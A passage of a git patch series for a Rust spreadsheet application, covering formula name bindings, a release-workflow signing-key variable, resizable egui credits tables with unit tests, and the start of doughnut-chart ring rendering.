*self.counts.entry(key.clone()).or_default() += 1; + self.stack.push(key); + } + + fn truncate(&mut self, len: usize) { + while self.stack.len() > len { + let Some(key) = self.stack.pop() else { break }; + if let Some(n) = self.counts.get_mut(&key) { + *n -= 1; + if *n == 0 { + self.counts.remove(&key); + } + } + } + } + + fn contains(&self, name: &str) -> bool { + self.counts.contains_key(&crate::fold_name(name)) + } +} + +fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Bindings, depth: usize, display: bool) -> Result<(), ParseError> { if depth > parser::MAX_DEPTH { return Err(ParseError { msg: "formula is nested too deeply".into(), pos: 0 }); } - let bound = |name: &str, bindings: &[String]| bindings.iter().rev().any(|n| crate::same_name(n, name)) || known_name(name); + let bound = |name: &str, bindings: &Bindings| bindings.contains(name) || known_name(name); match expr { Expr::Bool(value) if display => { let alias = if *value { "VERDADERO" } else { "FALSO" }; @@ -156,7 +192,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut // The new name is not in scope in its own value expression. normalize(value, known_name, bindings, depth + 1, display)?; if let Expr::Name(name) = declaration { - bindings.push(name.clone()); + bindings.push(name); } } } @@ -169,7 +205,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut if let Some((body, params)) = args.split_last_mut() { for param in params { if let Expr::Name(name) = param { - bindings.push(name.clone()); + bindings.push(name); } } normalize(body, known_name, bindings, depth + 1, display)?; From 3162ac09f345df939edb0dc74ff9c86649d0a4b8 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Wed, 4 Nov 2026 17:45:51 -0500 Subject: [PATCH 149/167] Pass the Linux signing key to the release workflow (#3380) --- .github/workflows/release.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e0c09905d..eba6ece89 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -42,3 +42,4 @@ jobs: AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }} AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }} AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }} + LINUX_SIGNING_KEY: ${{ secrets.LINUX_SIGNING_KEY }} From ede12f9da631c4cbfe9253ab633be44e5eb356a7 Mon Sep 17 00:00:00 2001 From: FredApps <153173854+FredApps@users.noreply.github.com> Date: Thu, 5 Nov 2026 04:33:46 +0100 Subject: [PATCH 150/167] About: credits tables fit without side-scrolling and their columns resize (#3320) * About: credits tables fit without side-scrolling and their columns resize The Contributors table and the Models table were egui Grids inside a two-way scroll area: they opened wider than the dialog, so they scrolled sideways, and Company and Model sat almost touching. Both are now egui_extras tables. Each column opens at the width of its header and widest cell, the spare width goes to the text columns (Name; Company and Model), and every column edge can be dragged. Widening a column grows the table like a spreadsheet, and only then does it scroll sideways; the header stays put while the rows scroll. Counts and dates are right-aligned and every cell is vertically centred. The sorted column stays highlighted and its direction shows on the toolbar's sort-order button, so headers no longer reserve room for an arrow. The opening widths come from fit_widths, a pure function with unit tests that a fitted table fills its room exactly and that only the text columns give way when room is short. The About dialog opens 820 points wide, so every column fits at its natural width. Co-Authored-By: Claude Opus 5.5 * Let every credits column be dragged, and refit changed tables The last column was egui's remainder column, which has no drag handle, so it could only be resized from the edge before it. It is now an ordinary column with its own handle. A table keeps its column widths, so switching to a longer name left the Name column at its old width and clipped the text. The table now goes back to the opening fit whenever that fit changes: a longer widest cell or a resized window. Dragged widths are dropped at that point. fit_widths could overflow the room when one column hit the minimum, because the other columns did not take up its share. Columns now give way in proportion to their width above the minimum. Co-Authored-By: Claude Opus 5.5 * Refit credits tables on what they measure, not the fitted widths Comparing the fitted widths missed the case it was meant for. Name is the only growing column, so a longer name takes its extra width from the spare room and the fit comes out the same: a dragged Name width stayed, clipping the longer name. It could also drop dragged widths by accident. The fit comes from the available width inside the scroll area, which scrolling can nudge, so scrolling a widened table could reset it. The table now compares the natural widths and the clip rect's width, which scrolling does not move. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- Cargo.lock | 55 ++++- crates/ui-egui/Cargo.toml | 1 + crates/ui-egui/src/credits.rs | 375 +++++++++++++++++++++++++---- crates/ui-egui/src/dialogs/show.rs | 2 +- 4 files changed, 369 insertions(+), 64 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 20dcf28ab..785493348 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -220,7 +220,7 @@ dependencies = [ "objc2-foundation 0.3.2", "parking_lot", "percent-encoding", - "windows-sys 0.59.0", + "windows-sys 0.61.2", "wl-clipboard-rs", "x11rb", ] @@ -1346,6 +1346,19 @@ dependencies = [ "winit", ] +[[package]] +name = "egui_extras" +version = "0.37.0" +source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a" +dependencies = [ + "ahash", + "egui", + "enum-map", + "itertools", + "log", + "profiling", +] + [[package]] name = "egui_glow" version = "0.37.0" @@ -1413,6 +1426,26 @@ version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099" +[[package]] +name = "enum-map" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4532960034c15ba2f55e9eee631040ecc473c32e6c4b200828c759840f13a06" +dependencies = [ + "enum-map-derive", +] + +[[package]] +name = "enum-map-derive" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7127272f64b3e098f7d81f350d672081b879bff896d219c42370dc858b1af9ff" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + [[package]] name = "enumflags2" version = "0.7.12" @@ -1478,7 +1511,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" dependencies = [ "libc", - "windows-sys 0.59.0", + "windows-sys 0.61.2", ] [[package]] @@ -2131,6 +2164,7 @@ dependencies = [ "craft-update", "craft-window", "egui", + "egui_extras", "egui_kittest", "epaint_default_fonts", "gridcraft-chart", @@ -3507,7 +3541,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7d8fae84b431384b68627d0f9b3b1245fcf9f46f6c0e3dc902e9dce64edd1967" dependencies = [ "libc", - "windows-sys 0.59.0", + "windows-sys 0.61.2", ] [[package]] @@ -3963,7 +3997,7 @@ dependencies = [ "once_cell", "socket2", "tracing", - "windows-sys 0.59.0", + "windows-sys 0.61.2", ] [[package]] @@ -4348,7 +4382,7 @@ dependencies = [ "errno", "libc", "linux-raw-sys 0.12.1", - "windows-sys 0.59.0", + "windows-sys 0.61.2", ] [[package]] @@ -4407,7 +4441,7 @@ dependencies = [ "security-framework", "security-framework-sys", "webpki-root-certs", - "windows-sys 0.59.0", + "windows-sys 0.61.2", ] [[package]] @@ -5158,7 +5192,7 @@ dependencies = [ "getrandom 0.4.3", "once_cell", "rustix 1.1.5", - "windows-sys 0.59.0", + "windows-sys 0.61.2", ] [[package]] @@ -6151,7 +6185,7 @@ version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" dependencies = [ - "windows-sys 0.59.0", + "windows-sys 0.61.2", ] [[package]] @@ -6967,11 +7001,6 @@ name = "egui_demo_lib" version = "0.37.0" source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a" -[[patch.unused]] -name = "egui_extras" -version = "0.37.0" -source = "git+https://github.com/storytold/egui.git?rev=6d518fc799681571963842f95b55a6b68431b15a#6d518fc799681571963842f95b55a6b68431b15a" - [[patch.unused]] name = "egui_inspection" version = "0.37.0" diff --git a/crates/ui-egui/Cargo.toml b/crates/ui-egui/Cargo.toml index 297f7bab9..fd18f7041 100644 --- a/crates/ui-egui/Cargo.toml +++ b/crates/ui-egui/Cargo.toml @@ -18,6 +18,7 @@ gridcraft-chart = { workspace = true } # this feature. The UI draws ✕, ◀, ↘ and 📋 as text; without these faces the strict kittest # harness (and a host with no symbol font) renders them as tofu. egui = { workspace = true, features = ["default_fonts", "monochrome_emoji_fonts"] } +egui_extras = { workspace = true } serde = { workspace = true } serde_json = { workspace = true } log = { workspace = true } diff --git a/crates/ui-egui/src/credits.rs b/crates/ui-egui/src/credits.rs index 95c39a1a3..0e4eb6295 100644 --- a/crates/ui-egui/src/credits.rs +++ b/crates/ui-egui/src/credits.rs @@ -244,12 +244,17 @@ pub fn contributors_ui(ui: &mut egui::Ui) { let list = sorted(CONTRIBUTORS, v.names, v.key, v.ascending); ui.label(RichText::new(format!("{} contributors · {} commits", list.len(), group(TOTAL_COMMITS))).small().weak()); ui.separator(); - egui::ScrollArea::both().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| { - if list.is_empty() { - ui.label("No contributor data was built into this copy."); - } else if v.table { - table(ui, &list, &mut v); - } else { + if list.is_empty() { + ui.label("No contributor data was built into this copy."); + } else if v.table { + // The table scrolls vertically itself, under a fixed header; it only scrolls sideways + // once its columns are dragged wider than the dialog. + ui.allocate_ui(egui::vec2(ui.available_width(), 340.0), |ui| { + ui.set_max_height(340.0); + egui::ScrollArea::horizontal().auto_shrink([false, false]).show(ui, |ui| table(ui, &list, &mut v)); + }); + } else { + egui::ScrollArea::vertical().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| { ui.horizontal_wrapped(|ui| { for (i, c) in list.iter().enumerate() { if i > 0 { @@ -258,39 +263,153 @@ pub fn contributors_ui(ui: &mut egui::Ui) { ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)).on_hover_text(c.summary()); } }); - } - }); + }); + } ui.data_mut(|d| d.insert_temp(id, v)); } -fn table(ui: &mut egui::Ui, list: &[&Contributor], v: &mut View) { - egui::Grid::new("credits_table").striped(true).num_columns(SortKey::ALL.len()).show(ui, |ui| { - for k in SortKey::ALL { - let arrow = if v.key == k { if v.ascending { " ▲" } else { " ▼" } } else { "" }; - if ui.button(RichText::new(format!("{}{arrow}", k.label().1)).strong()).on_hover_text(k.label().0).clicked() { - if v.key == k { - v.ascending = !v.ascending; - } else { - v.key = k; - v.ascending = k.default_ascending(); - } +/// How the contributor table's spare width is shared out: all of it to Name. +const CONTRIBUTOR_GROW: [f32; 10] = [1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]; + +/// How the model table's spare width is shared out: to Company and Model, the text columns. +const MODEL_GROW: [f32; 6] = [1.0, 2.0, 0.0, 0.0, 0.0, 0.0]; + +/// The narrowest a column can be dragged. +const MIN_COLUMN: f32 = 28.0; + +/// The width a column needs for its header and its widest cell. +fn natural(ui: &egui::Ui, header: RichText, cells: impl Iterator) -> f32 { + let measure = |text: egui::WidgetText| text.into_galley(ui, Some(egui::TextWrapMode::Extend), f32::INFINITY, egui::TextStyle::Body).size().x; + let widest = cells.map(|c| measure(c.into())).fold(measure(header.into()), f32::max); + widest + 2.0 * ui.spacing().button_padding.x +} + +/// Opening column widths: each column's natural width, with the spare room shared out by `grow`, +/// so the columns fill `room` exactly. When there is too little room, only the growing columns +/// give way, each in proportion to its width above [`MIN_COLUMN`], and none goes below that. +fn fit_widths(natural: &[f32], grow: &[f32], room: f32) -> Vec { + let spare = room - natural.iter().sum::(); + let weight = grow.iter().sum::(); + let slack = |w: f32| (w - MIN_COLUMN).max(0.0); + let flexible: f32 = natural.iter().zip(grow).filter(|(_, g)| **g > 0.0).map(|(w, _)| slack(*w)).sum(); + natural + .iter() + .zip(grow) + .map(|(w, g)| { + if *g > 0.0 && spare >= 0.0 { + w + spare * g / weight + } else if *g > 0.0 && flexible > 0.0 { + w - (-spare).min(flexible) * slack(*w) / flexible + } else { + *w } - } - ui.end_row(); - for c in list { - ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login)).on_hover_text(c.summary()); - ui.label(group(c.prs)); - ui.label(group(c.commits)); - ui.label(group(c.lines_added)); - ui.label(group(c.lines_deleted)); - ui.label(signed(c.lines_delta())); - ui.label(group(c.binary_added)); - ui.label(group(c.binary_deleted)); - ui.label(day(c.first_commit)); - ui.label(day(c.last_commit)); - ui.end_row(); - } - }); + }) + .collect() +} + +/// A striped table whose columns open at [`fit_widths`], so it fills the width and nothing scrolls +/// sideways. Every column, the last included, can be dragged wider or narrower at its right edge: +/// only a table dragged wider than the window scrolls sideways. Text too long for its column is +/// clipped. When a column's natural width or the window changes, the columns go back to a new fit, +/// dropping any dragged widths. +fn fitted_table<'a>(ui: &'a mut egui::Ui, id: &str, natural: &[f32], grow: &[f32]) -> egui_extras::TableBuilder<'a> { + // Every cell is followed by the item gap, and the vertical scrollbar keeps its margins. + let s = ui.spacing(); + let gaps = s.item_spacing.x * natural.len() as f32; + let bar = s.scroll.bar_width + s.scroll.bar_inner_margin + s.scroll.bar_outer_margin; + let widths = fit_widths(natural, grow, (ui.available_width() - gaps - bar).max(0.0)); + // The table keeps its own column widths, so a change in what they were fitted to has to clear + // them. A longer name can leave the fit itself unchanged, and scrolling can nudge the available + // width, so this compares the natural widths and the clip rect, which scrolling never moves. + let fit = egui::Id::unique(("credits_fit", id)); + let measured = (natural.to_vec(), ui.clip_rect().width()); + let refit = ui.data_mut(|d| d.get_temp::<(Vec, f32)>(fit)).as_ref() != Some(&measured); + ui.data_mut(|d| d.insert_temp(fit, measured)); + let mut t = + egui_extras::TableBuilder::new(ui).id_salt(id).striped(true).resizable(true).auto_shrink([false, false]).max_scroll_height(f32::INFINITY); + if refit { + t.reset(); + } + for w in widths { + t = t.column(egui_extras::Column::initial(w).at_least(MIN_COLUMN).clip(true)); + } + t +} + +/// Add a cell's widget right-aligned (counts, dates) or left-aligned (names), vertically centred. +fn aligned(ui: &mut egui::Ui, right: bool, add: impl FnOnce(&mut egui::Ui) -> R) -> R { + let layout = if right { egui::Layout::right_to_left(egui::Align::Center) } else { egui::Layout::left_to_right(egui::Align::Center) }; + ui.with_layout(layout, add).inner +} + +fn row_height(ui: &egui::Ui) -> f32 { + ui.text_style_height(&egui::TextStyle::Body) + 6.0 +} + +/// One contributor's table cells after the name, in `SortKey::ALL` order. +fn cells(c: &Contributor) -> [String; 9] { + [ + group(c.prs), + group(c.commits), + group(c.lines_added), + group(c.lines_deleted), + signed(c.lines_delta()), + group(c.binary_added), + group(c.binary_deleted), + day(c.first_commit).to_string(), + day(c.last_commit).to_string(), + ] +} + +/// A contributor-table header. The sorted column is highlighted; its direction shows on the +/// toolbar's sort-order button, so no arrow widens the column. +fn header_text(k: SortKey) -> RichText { + RichText::new(k.label().1).strong() +} + +fn table(ui: &mut egui::Ui, list: &[&Contributor], v: &mut View) { + let h = row_height(ui); + let rows: Vec<[String; 9]> = list.iter().map(|c| cells(c)).collect(); + let widths: Vec = SortKey::ALL + .iter() + .enumerate() + .map(|(i, &k)| match i.checked_sub(1) { + None => natural(ui, header_text(k), list.iter().map(|c| c.name(v.names))), + Some(col) => natural(ui, header_text(k), rows.iter().filter_map(|r| r.get(col).cloned())), + }) + .collect(); + fitted_table(ui, "credits_table", &widths, &CONTRIBUTOR_GROW) + .header(h + 4.0, |mut header| { + for k in SortKey::ALL { + header.col(|ui| { + let r = aligned(ui, k != SortKey::Name, |ui| ui.selectable_label(v.key == k, header_text(k))).on_hover_text(k.label().0); + + if r.clicked() { + if v.key == k { + v.ascending = !v.ascending; + } else { + v.key = k; + v.ascending = k.default_ascending(); + } + } + }); + } + }) + .body(|mut body| { + for (c, cells) in list.iter().zip(rows) { + body.row(h, |mut row| { + row.col(|ui| { + aligned(ui, false, |ui| ui.hyperlink_to(c.name(v.names), format!("https://github.com/{}", c.login))) + .on_hover_text(c.summary()); + }); + for text in cells { + row.col(|ui| { + aligned(ui, true, |ui| ui.label(text)); + }); + } + }); + } + }); } /// About ▸ Models: AI models credited in Co-Authored-By trailers. @@ -300,21 +419,50 @@ pub fn models_ui(ui: &mut egui::Ui) { return; } let assisted: u64 = MODELS.iter().map(|m| m.commits).max().unwrap_or(0).max(1); - egui::ScrollArea::both().auto_shrink([false, false]).max_height(340.0).show(ui, |ui| { - egui::Grid::new("credits_models").striped(true).num_columns(6).show(ui, |ui| { - for h in ["Company", "Model", "Version", "Commits", "% of all commits", "Lines +/−"] { - ui.label(RichText::new(h).strong()); - } - ui.end_row(); - for m in MODELS { - ui.label(m.company); - ui.label(m.model); - ui.label(m.version); - ui.label(group(m.commits)); - ui.label(format!("{:.0}%", 100.0 * m.commits as f64 / TOTAL_COMMITS.max(assisted) as f64)); - ui.label(format!("+{} / −{}", group(m.lines_added), group(m.lines_deleted))); - ui.end_row(); - } + let h = row_height(ui); + let titles = ["Company", "Model", "Version", "Commits", "% of all commits", "Lines +/−"]; + // Company, Model and Version read as text; the counts line up on the right. + let right = [false, false, false, true, true, true]; + let rows: Vec<[String; 6]> = MODELS + .iter() + .map(|m| { + [ + m.company.to_string(), + m.model.to_string(), + m.version.to_string(), + group(m.commits), + format!("{:.0}%", 100.0 * m.commits as f64 / TOTAL_COMMITS.max(assisted) as f64), + format!("+{} / −{}", group(m.lines_added), group(m.lines_deleted)), + ] + }) + .collect(); + let widths: Vec = titles + .iter() + .enumerate() + .map(|(i, title)| natural(ui, RichText::new(*title).strong(), rows.iter().filter_map(|r| r.get(i).cloned()))) + .collect(); + ui.allocate_ui(egui::vec2(ui.available_width(), 340.0), |ui| { + ui.set_max_height(340.0); + egui::ScrollArea::horizontal().id_salt("credits_models").auto_shrink([false, false]).show(ui, |ui| { + fitted_table(ui, "credits_models", &widths, &MODEL_GROW) + .header(h + 4.0, |mut header| { + for (title, r) in titles.into_iter().zip(right) { + header.col(|ui| { + aligned(ui, r, |ui| ui.label(RichText::new(title).strong())); + }); + } + }) + .body(|mut body| { + for cells in rows { + body.row(h, |mut row| { + for (text, r) in cells.into_iter().zip(right) { + row.col(|ui| { + aligned(ui, r, |ui| ui.label(text)); + }); + } + }); + } + }); }); }); } @@ -395,4 +543,131 @@ mod tests { assert_eq!(day("2026-10-07T18:45:23Z"), "2026-10-07"); assert_eq!(day(""), "—"); } + + #[test] + fn columns_fill_the_room_and_spare_width_goes_to_growing_columns() { + assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 300.0), [200.0, 40.0, 60.0]); + assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 2.0, 0.0], 230.0), [110.0, 60.0, 60.0]); + let w = fit_widths(&[123.0, 45.5, 67.25], &[1.0, 0.0, 2.0], 512.0); + assert!((w.iter().sum::() - 512.0).abs() < 0.01, "a fitted table neither scrolls nor leaves a gap: {w:?}"); + } + + #[test] + fn too_little_room_shrinks_only_growing_columns() { + assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 150.0), [50.0, 40.0, 60.0]); + assert_eq!(fit_widths(&[100.0, 40.0, 60.0], &[1.0, 0.0, 0.0], 0.0), [MIN_COLUMN, 40.0, 60.0]); + assert_eq!(fit_widths(&[100.0, 40.0], &[0.0, 0.0], 50.0), [100.0, 40.0]); + } + + #[test] + fn a_column_at_the_minimum_leaves_the_shortfall_to_the_others() { + let w = fit_widths(&[100.0, 300.0, 50.0], &[1.0, 1.0, 0.0], 140.0); + assert!((w.iter().sum::() - 140.0).abs() < 0.01, "the columns still fit the room: {w:?}"); + assert!(w.iter().all(|c| *c >= MIN_COLUMN), "no column goes below the minimum: {w:?}"); + assert_eq!(fit_widths(&[100.0, 300.0, 50.0], &[1.0, 1.0, 0.0], 0.0), [MIN_COLUMN, MIN_COLUMN, 50.0]); + } + + const WINDOW: f32 = 640.5; + const NATURAL: [f32; 3] = [120.0, 80.0, 80.0]; + const GROW: [f32; 3] = [1.0, 0.0, 0.0]; + + /// One frame of a table long enough to scroll; the rects of its header cells. + fn table_frame(ctx: &egui::Context, width: f32, natural: &[f32], events: Vec) -> Vec { + scrolled_frame(ctx, width, natural, 0.0, events) + } + + /// [`table_frame`], scrolled `offset` points sideways. + fn scrolled_frame(ctx: &egui::Context, width: f32, natural: &[f32], offset: f32, events: Vec) -> Vec { + let screen_rect = Some(egui::Rect::from_min_size(egui::Pos2::ZERO, egui::vec2(width, 300.0))); + let raw = egui::RawInput { screen_rect, events, ..Default::default() }; + let mut cells = Vec::new(); + let out = ctx.run_ui(raw, |ui| { + cells.clear(); + egui::ScrollArea::horizontal().auto_shrink([false, false]).horizontal_scroll_offset(offset).show(ui, |ui| { + fitted_table(ui, "test", natural, &GROW) + .header(20.0, |mut header| { + for _ in natural { + header.col(|ui| cells.push(ui.max_rect())); + } + }) + .body(|mut body| { + for _ in 0..40 { + body.row(20.0, |mut row| { + for _ in natural { + row.col(|ui| { + ui.label("x"); + }); + } + }); + } + }); + }); + }); + out.drop_without_applying_deltas(); + cells + } + + /// A new context with the table open and settled, and the rects of its header cells. + fn opened_table() -> (egui::Context, Vec) { + let ctx = egui::Context::default(); + table_frame(&ctx, WINDOW, &NATURAL, Vec::new()); + let cells = table_frame(&ctx, WINDOW, &NATURAL, Vec::new()); + (ctx, cells) + } + + /// Drags a column's right edge, which runs midway through the gap after `cell`, then lets go. + fn drag_edge(ctx: &egui::Context, cell: egui::Rect, by: f32) { + use egui::{Event, Modifiers, PointerButton}; + let start = egui::pos2(cell.right() + 4.0, cell.center().y); + let halfway = start + egui::vec2(by / 2.0, 0.0); + let end = start + egui::vec2(by, 0.0); + let moved = Event::PointerMoved; + let button = |pos, pressed| Event::PointerButton { pos, button: PointerButton::Primary, pressed, modifiers: Modifiers::NONE }; + for event in [moved(start), button(start, true), moved(halfway), moved(end), button(end, false)] { + table_frame(ctx, WINDOW, &NATURAL, vec![event]); + } + } + + #[test] + fn every_column_can_be_dragged_at_its_right_edge_and_stays_there() { + let (_, opened) = opened_table(); + for (dragged, cell) in opened.iter().enumerate() { + let (ctx, _) = opened_table(); + drag_edge(&ctx, *cell, -30.0); + table_frame(&ctx, WINDOW, &NATURAL, Vec::new()); + let after = table_frame(&ctx, WINDOW, &NATURAL, Vec::new()); + for (column, (was, now)) in opened.iter().zip(&after).enumerate() { + let want = if column == dragged { was.width() - 30.0 } else { was.width() }; + assert!((now.width() - want).abs() < 1.0, "dragging column {dragged}: column {column} is {now:?}, was {was:?}"); + } + } + } + + #[test] + fn a_changed_fit_replaces_the_column_widths() { + let (ctx, opened) = opened_table(); + drag_edge(&ctx, opened[0], -30.0); + let longer_name = table_frame(&ctx, WINDOW, &[200.0, 80.0, 80.0], Vec::new()); + assert!((longer_name[0].width() - opened[0].width()).abs() < 1.0, "a longer name drops a dragged width: {longer_name:?}"); + let wider = table_frame(&ctx, WINDOW, &[120.0, 200.0, 80.0], Vec::new()); + let widths: Vec = wider.iter().map(|c| c.width().round()).collect(); + assert!(widths.ends_with(&[200.0, 80.0]), "a longer cell widens its column: {widths:?}"); + assert!(wider[2].right() < WINDOW, "the table still fits the window: {wider:?}"); + let narrower = table_frame(&ctx, 400.0, &NATURAL, Vec::new()); + assert!(narrower[2].right() < 400.0, "a narrower window refits the table: {narrower:?}"); + } + + #[test] + fn scrolling_sideways_keeps_dragged_widths() { + let (ctx, opened) = opened_table(); + drag_edge(&ctx, opened[0], 100.0); + table_frame(&ctx, WINDOW, &NATURAL, Vec::new()); + let dragged = table_frame(&ctx, WINDOW, &NATURAL, Vec::new()); + assert!((dragged[0].width() - opened[0].width() - 100.0).abs() < 1.0, "the drag took: {dragged:?}"); + for offset in [13.3, 27.77, 41.1, 0.6] { + scrolled_frame(&ctx, WINDOW, &NATURAL, offset, Vec::new()); + let scrolled = scrolled_frame(&ctx, WINDOW, &NATURAL, offset, Vec::new()); + assert!((scrolled[0].width() - dragged[0].width()).abs() < 1.0, "scrolled {offset}: {scrolled:?}"); + } + } } diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index bb1e9f5e7..e4cd5bb24 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -148,7 +148,7 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { let mut confirm = false; let width = match d.name.as_str() { "formatCells" => 560.0, - "about" => 660.0, + "about" => 820.0, "insertFunction" | "commandSearch" | "nameManager" | "manageRules" | "journal" | "agents" | "equation" => 520.0, "macros" => 480.0, "recommendedCharts" => 600.0, From 1fb191571ba6c487246fa94ee4ce5a37abd22fcc Mon Sep 17 00:00:00 2001 From: Francisco Herrera Date: Wed, 4 Nov 2026 23:13:35 -0500 Subject: [PATCH 151/167] Charts: draw every doughnut series as a ring (#1827) * Charts: draw every doughnut series as a ring (#1827) * Charts: submit doughnut hole size and first slice angle when the drag ends (#1827) --------- Co-authored-by: alosslessdev --- crates/chart/src/render.rs | 9 +- crates/chart/src/render/kinds.rs | 145 +++++++- crates/chart/src/render/legend.rs | 2 + crates/chart/src/tests.rs | 319 +++++++++++++++++- crates/engine/src/cmd/forecast.rs | 2 + crates/engine/src/cmd/insert.rs | 10 +- crates/engine/src/cmd/pivot/charts.rs | 2 + crates/engine/src/tests.rs | 15 + crates/model/src/features.rs | 46 +++ crates/model/src/sheet.rs | 2 + crates/ui-egui/src/i18n/cs.rs | 2 + crates/ui-egui/src/i18n/de.rs | 2 + crates/ui-egui/src/i18n/el.rs | 2 + crates/ui-egui/src/i18n/es.rs | 2 + crates/ui-egui/src/i18n/fr.rs | 2 + crates/ui-egui/src/i18n/it.rs | 2 + crates/ui-egui/src/i18n/ja.rs | 2 + crates/ui-egui/src/i18n/ko.rs | 2 + crates/ui-egui/src/i18n/nl.rs | 2 + crates/ui-egui/src/i18n/pl.rs | 2 + crates/ui-egui/src/i18n/pt.rs | 2 + crates/ui-egui/src/i18n/ro.rs | 2 + crates/ui-egui/src/i18n/ru.rs | 2 + crates/ui-egui/src/i18n/sr.rs | 2 + crates/ui-egui/src/i18n/tr.rs | 2 + crates/ui-egui/src/i18n/uk.rs | 2 + crates/ui-egui/src/i18n/vi.rs | 2 + crates/ui-egui/src/i18n/zh.rs | 2 + crates/ui-egui/src/panes.rs | 33 ++ crates/xlsx/src/chart.rs | 16 +- crates/xlsx/src/chartex.rs | 2 + crates/xlsx/src/tests/chart_book_names.rs | 4 + crates/xlsx/src/tests/fixtures.rs | 46 +++ .../src/tests/literal_category_roundtrip.rs | 2 + .../tests/multilevel_category_roundtrip.rs | 2 + crates/xlsx/src/tests/roundtrip.rs | 6 + crates/xlsx/src/tests/smooth_roundtrip.rs | 4 + crates/xlsx/src/tests/trendline_roundtrip.rs | 2 + docs/chart-parity.md | 10 +- docs/roadmap.md | 2 +- docs/target-app-parity.md | 9 +- 41 files changed, 705 insertions(+), 21 deletions(-) diff --git a/crates/chart/src/render.rs b/crates/chart/src/render.rs index 7e50e78f6..2b46c5fbd 100644 --- a/crates/chart/src/render.rs +++ b/crates/chart/src/render.rs @@ -19,7 +19,7 @@ mod trend; use cartesian::{cartesian, scatter}; use frame::{Bx, axis_titles, chart_title}; -use kinds::{box_whisker, funnel, histogram, pie, radar, stock, treemap, waterfall}; +use kinds::{box_whisker, doughnut, funnel, histogram, pie, radar, stock, treemap, waterfall}; use legend::draw_legend; pub use legend::{Swatch, legend_entries}; pub use trend::supports_trendline; @@ -44,6 +44,11 @@ const MAX_LINE_PTS: usize = 2000; const MAX_MARKERS: usize = 5000; /// Data labels are skipped when a series has more points than this. const MAX_LABELS: usize = 200; +/// Most wedges a doughnut draws for the whole chart. The per-series and per-category limits do not +/// bound their product: 255 series of 20,000 categories would be millions of wedges. Every drawable +/// ring shares this budget, so the innermost ring keeps its largest slices and the outer rings are +/// capped instead of the chart dropping rings wholesale. +pub(crate) const MAX_WEDGES: usize = 2_048; struct Ctx<'a> { out: Vec, @@ -153,7 +158,7 @@ fn draw_kind(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) { use ChartKind::*; match chart.kind { Pie => pie(ctx, chart, data, area, 0.0, false), - Doughnut => pie(ctx, chart, data, area, 0.5, false), + Doughnut => doughnut(ctx, chart, data, area), Sunburst => pie(ctx, chart, data, area, 0.2, true), Treemap => treemap(ctx, chart, data, area), Funnel => funnel(ctx, chart, data, area), diff --git a/crates/chart/src/render/kinds.rs b/crates/chart/src/render/kinds.rs index 10286107b..77a58d0fe 100644 --- a/crates/chart/src/render/kinds.rs +++ b/crates/chart/src/render/kinds.rs @@ -1,8 +1,8 @@ use super::frame::{Bx, CatAxis, ValAxis, frame, on, value_range}; use super::legend::{cat_label, point_color}; use super::{ - AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, Prim, QuartileMethod, STOCK, SeriesData, - TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale, + AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, MAX_SERIES, MAX_WEDGES, Prim, + QuartileMethod, Rgba, STOCK, SeriesData, TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale, }; // ---------------------------------------------------------------- histogram @@ -163,6 +163,66 @@ pub(super) fn funnel(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) { // ---------------------------------------------------------------- pie, doughnut, sunburst +/// At most `cap` of the largest values, in category order. When a ring has more categories than +/// its share of the wedge budget allows, the big slices survive rather than the first ones. +fn largest_slices(vals: &[f64], cap: usize) -> Vec<(usize, f64)> 